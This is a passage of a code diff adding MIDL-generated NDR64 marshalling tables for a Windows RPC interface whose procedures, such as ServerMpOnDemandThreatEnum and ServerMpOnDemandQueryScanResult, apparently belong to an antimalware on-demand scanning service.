+ (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag242 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_1232_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag223_t __midl_frag223 = +{ +/* Proc14_ServerMpOnDemandThreatEnum */ + { + /* Proc14_ServerMpOnDemandThreatEnum */ /* procedure Proc14_ServerMpOnDemandThreatEnum */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1035, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag216_t __midl_frag216 = +{ +/* Proc13_ServerMpOnDemandThreatOpen */ + { + /* Proc13_ServerMpOnDemandThreatOpen */ /* procedure Proc13_ServerMpOnDemandThreatOpen */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1142, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag210_t __midl_frag210 = +{ +/* Proc12_ServerMpOnDemandCloseScan */ + { + /* Proc12_ServerMpOnDemandCloseScan */ /* procedure Proc12_ServerMpOnDemandCloseScan */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag204_t __midl_frag204 = +{ +/* Proc11_ServerMpOnDemandPersistScan */ + { + /* Proc11_ServerMpOnDemandPersistScan */ /* procedure Proc11_ServerMpOnDemandPersistScan */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag199_t __midl_frag199 = +{ +/* Proc10_ServerMpOnDemandControlSystemScan */ + { + /* Proc10_ServerMpOnDemandControlSystemScan */ /* procedure Proc10_ServerMpOnDemandControlSystemScan */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag189_t __midl_frag189 = +{ +/* Struct_78_t */ + { + /* Struct_78_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_78_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 144 /* 0x90 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* Struct_78_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + (NDR64_UINT16) 144 /* 0x90 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag188_t __midl_frag188 = +{ +/* *Struct_78_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag189 +}; + +static const __midl_frag186_t __midl_frag186 = +{ +/* Proc8_ServerMpOnDemandQueryScanResult */ + { + /* Proc8_ServerMpOnDemandQueryScanResult */ /* procedure Proc8_ServerMpOnDemandQueryScanResult */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag189, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag179_t __midl_frag179 = +{ +/* Proc7_ServerMpOnDemandQueryNotification */ + { + /* Proc7_ServerMpOnDemandQueryNotification */ /* procedure Proc7_ServerMpOnDemandQueryNotification */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag938, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag171_t __midl_frag171 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 20 /* 0x14 */ + } +}; + +static const __midl_frag170_t __midl_frag170 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag171 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag167_t __midl_frag167 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag166_t __midl_frag166 = +{ +/* *Struct_476_t */ + { + /* *Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* *Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + &__midl_frag167 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 1 /* 0x1 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 3 /* 0x3 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag170 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct 